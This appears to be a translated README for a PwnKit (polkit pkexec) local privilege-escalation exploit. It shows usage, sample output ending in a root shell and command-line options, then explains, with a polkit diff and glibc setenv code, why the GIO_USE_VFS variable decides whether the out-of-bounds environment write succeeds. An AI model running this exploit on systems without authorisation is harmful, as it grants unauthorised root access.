针对 PwnKit 漏洞的 Root 权限利用程序。查看原始报告 此处。
请在获得目标系统所有者的明确许可后使用此漏洞利用程序。
除 libc 外无需其他依赖。直接运行 make 即可。
不带选项运行将执行漏洞利用:
[linux@linux ~]$ ./exploit
-----------------------------------------------------------------------------
__\ / __ __ _ __ _ __ | \ / _ ___
/ V |_ --- _)/ \ _)/| ---|_|/ \__)|_| | V |_) _/|_|
\__ |__ /__\_//__ | |\_/__) | | | \/__| |
-----------------------------------------------------------------------------
sh-5.1# whoami
root
sh-5.1#
你可以自定义 pkexec 的路径以及“from”字符集:
[linux@linux ~]$ ./exploit -h
...
./exploit [-c] [-h] [-f from_charset] [-p /path/to/pkexec]
-----------------------------------------------------------------------------
-c 仅清理 - 不进行漏洞利用
-p <path> pkexec 的路径(默认值:"/usr/bin/pkexec")
-f <from_charset> 自定义“from”字符集(默认值:"UTF-8")
-h 显示此消息
GIO_USE_VFS 到底是怎么回事?!我看到社交媒体上有一些人问,为什么有些漏洞利用程序在未定义
GIO_USE_VFS= 时会失败?为什么它们在旧版本上可以正常工作?
polkit 中的提交 daf3d5c2d15466a267221fcb099c59c870098e03 是罪魁祸首。
以下是 diff 的相关部分:
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -503,6 +503,9 @@ main (int argc, char *argv[])
opt_user = NULL;
local_agent_handle = NULL;
+ /* Disable remote file access from GIO. */
+ setenv ("GIO_USE_VFS", "local", 1);
+
/* check for correct invocation */
if (geteuid () != 0)
{
此提交之前的版本无需定义 GIO_USE_VFS 变量即可被利用。此提交之后的版本
除非定义了该变量,否则无法被利用。
该提交的目的实际上是一个障眼法。关键不在于这个变量
意味着什么,而在于它的存在如何影响程序环境。要了解真相,我们必须看看 libc。
在 libc 中,进程的环境由一个 char * 数组表示,
由这个全局变量指向:
char **environ;
environ 位于堆上,偶尔会被重新定位。你可能
已经猜到接下来会发生什么了。看看这段来自
setenv.c 的代码片段:
#if !_LIBC
# define __environ environ
# ifndef HAVE_ENVIRON_DECL
extern char **environ;
# endif
#endif
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
// ... 跳过
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
if (ep == NULL || __builtin_expect (*ep == NULL, 1))
{
char **new_environ;
/* We allocated this space; we can extend it. */
new_environ = (char **) realloc (last_environ,
(size + 2) * sizeof (char *));
// ... 跳过
last_environ = __environ = new_environ;
}
__add_to_environ() 被 setenv(3) 和 putenv(3) 调用,以实现
它们所承诺的功能 - 设置环境变量。如果所涉及的环境变量
未定义,则必须重新分配 environ 以容纳
一个新条目(指向新的环境 key=value 对的指针)。如果它
已定义,则 environ 数组的大小没有改变,因此没有
重新分配的理由。为简洁起见,我省略了那部分代码 - 我
鼓励你自己去查看。
现在让我们回到漏洞利用程序。如果你已经读到这里,你可能
已经知道这个漏洞利用程序背后的方法(如果不知道,请查看
原始报告)。
我们试图通过向 pkexec 传递空的程序参数(argv)来偷偷塞入一个环境变量。当 argc 真正为空时(甚至没有程序名),
相邻的环境变量与参数发生冲突。
我们利用这种行为来强制 pkexec 将目标可执行文件的规范路径
写入环境中。然而,在我们到达代码的这一部分之前,会发生以下情况:
setenv ("GIO_USE_VFS", "local", 1);
如果环境中不存在此变量,environ 将被
重新分配,从而永远不会与 argv 发生冲突。结果,越界
写入将不会影响程序的环境,导致
漏洞利用失败。